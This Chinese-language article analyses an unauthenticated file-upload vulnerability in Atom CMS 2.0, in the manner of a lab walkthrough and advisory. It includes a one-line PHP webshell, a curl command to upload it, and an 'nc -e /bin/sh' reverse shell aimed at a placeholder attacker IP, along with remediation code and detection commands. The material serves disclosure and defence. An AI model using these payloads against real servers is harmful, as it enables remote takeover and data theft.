深入分析Atom CMS 2.0漏洞:揭示远程代码执行的真相
字数 1517 2025-08-20 18:18:10
Atom CMS 2.0 远程代码执行漏洞分析与利用指南
漏洞概述
Atom CMS 2.0 存在一个严重的未经身份验证的文件上传漏洞,允许攻击者在无需任何身份验证的情况下上传恶意文件。由于系统对上传文件的扩展名和类型缺乏有效检查,攻击者可上传PHP webshell,从而获得服务器远程控制权限。
实验环境搭建
所需组件
- XAMPP服务器(包含Apache和MySQL)
- Atom CMS 2.0 源代码
- 测试用PHP webshell
配置步骤
-
安装XAMPP
- 下载并安装XAMPP
- 启动Apache和MySQL服务
-
部署Atom CMS
- 将Atom CMS源代码解压到XAMPP的htdocs目录(如:
C:\xampp\htdocs\atomcms) - 确保目录权限设置正确:
chmod -R 755 /opt/lampp/htdocs/atomcms chown -R www-data:www-data /opt/lampp/htdocs/atomcms
- 将Atom CMS源代码解压到XAMPP的htdocs目录(如:
-
数据库配置
- 创建名为"atomcms"的MySQL数据库
- 导入源代码中的SQL文件(通常为
database.sql) - 修改
connection.php文件中的数据库凭据:$dbhost = 'localhost'; $dbuser = 'root'; // 默认XAMPP用户名 $dbpass = ''; // 默认XAMPP密码为空 $dbname = 'atomcms';
-
验证安装
- 访问
http://localhost/atomcms/admin应显示登录页面
- 访问
漏洞分析
漏洞位置
漏洞存在于未授权文件上传功能中,主要问题文件:
upload.php- 处理文件上传的核心文件connection.php- 数据库连接配置文件
漏洞成因
- 缺乏身份验证检查:上传接口未验证用户身份
- 不充分的文件验证:
- 未检查文件扩展名
- 未验证文件MIME类型
- 未实施内容检查
- 危险的文件存储:上传文件可直接通过Web访问
关键代码片段
// upload.php 简化示例
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
// 无任何有效检查直接移动文件
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
echo "文件上传成功";
}
漏洞利用
利用步骤
-
准备PHP webshell
- 简单示例(shell.php):
<?php system($_GET['cmd']); ?> - 复杂示例(使用蚁剑/冰蝎等webshell)
- 简单示例(shell.php):
-
构造上传请求
- 使用cURL命令:
curl -X POST -F "file=@shell.php" http://localhost/atomcms/upload.php - 或使用Burp Suite等工具构造POST请求
- 使用cURL命令:
-
验证上传
- 访问
http://localhost/atomcms/uploads/shell.php - 添加参数执行命令:
?cmd=whoami
- 访问
-
获取系统权限
- 执行系统命令查看当前用户:
http://localhost/atomcms/uploads/shell.php?cmd=whoami - 获取反向shell:
shell.php?cmd=nc -e /bin/sh 攻击者IP 端口
- 执行系统命令查看当前用户:
自动化利用工具
可使用Metasploit框架中的exploit/multi/http/atomcms_upload_exec模块进行自动化利用
防御措施
临时解决方案
- 删除或重命名
upload.php文件 - 限制
uploads/目录的PHP执行权限:<Directory "/opt/lampp/htdocs/atomcms/uploads"> php_admin_flag engine off RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 </Directory>
永久修复方案
-
实施身份验证:
session_start(); if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header("Location: login.php"); exit; } -
严格文件验证:
$allowedExtensions = ['jpg', 'png', 'gif']; $fileExtension = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); if (!in_array($fileExtension, $allowedExtensions)) { die("不允许的文件类型"); } // 检查MIME类型 $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]); if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) { die("非法的文件内容"); } -
文件重命名:
$newFilename = uniqid().'.'.$fileExtension; $target_file = $target_dir . $newFilename; -
目录隔离:将上传目录放在Web根目录之外
-
文件权限限制:
chmod($target_file, 0644); // 只读权限
漏洞影响评估
CVSS评分
- 基础分数:9.8 (Critical)
- 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
潜在影响
- 完全服务器沦陷
- 数据库泄露
- 作为跳板攻击内网
- 植入后门程序
- 网站篡改和挂马
取证与检测
攻击迹象
uploads/目录中存在非常规PHP文件- 访问日志中的可疑请求:
GET /atomcms/uploads/shell.php?cmd=whoami - 异常的系统进程和网络连接
检测方法
-
使用webshell扫描工具检查上传目录:
- Linux:
grep -r "system($_" /var/www/html/atomcms/uploads/ - Windows: 使用D盾、河马等webshell查杀工具
- Linux:
-
检查Apache日志:
grep "uploads.*php" /var/log/apache2/access.log
总结
Atom CMS 2.0的文件上传漏洞是一个典型的"未授权上传+无过滤"漏洞组合,攻击者可以轻松利用此漏洞获取服务器控制权。开发者应当遵循最小权限原则,对所有用户输入进行严格验证,特别是文件上传功能需要实施多层防御措施。系统管理员应及时更新到已修复版本或实施上述安全措施。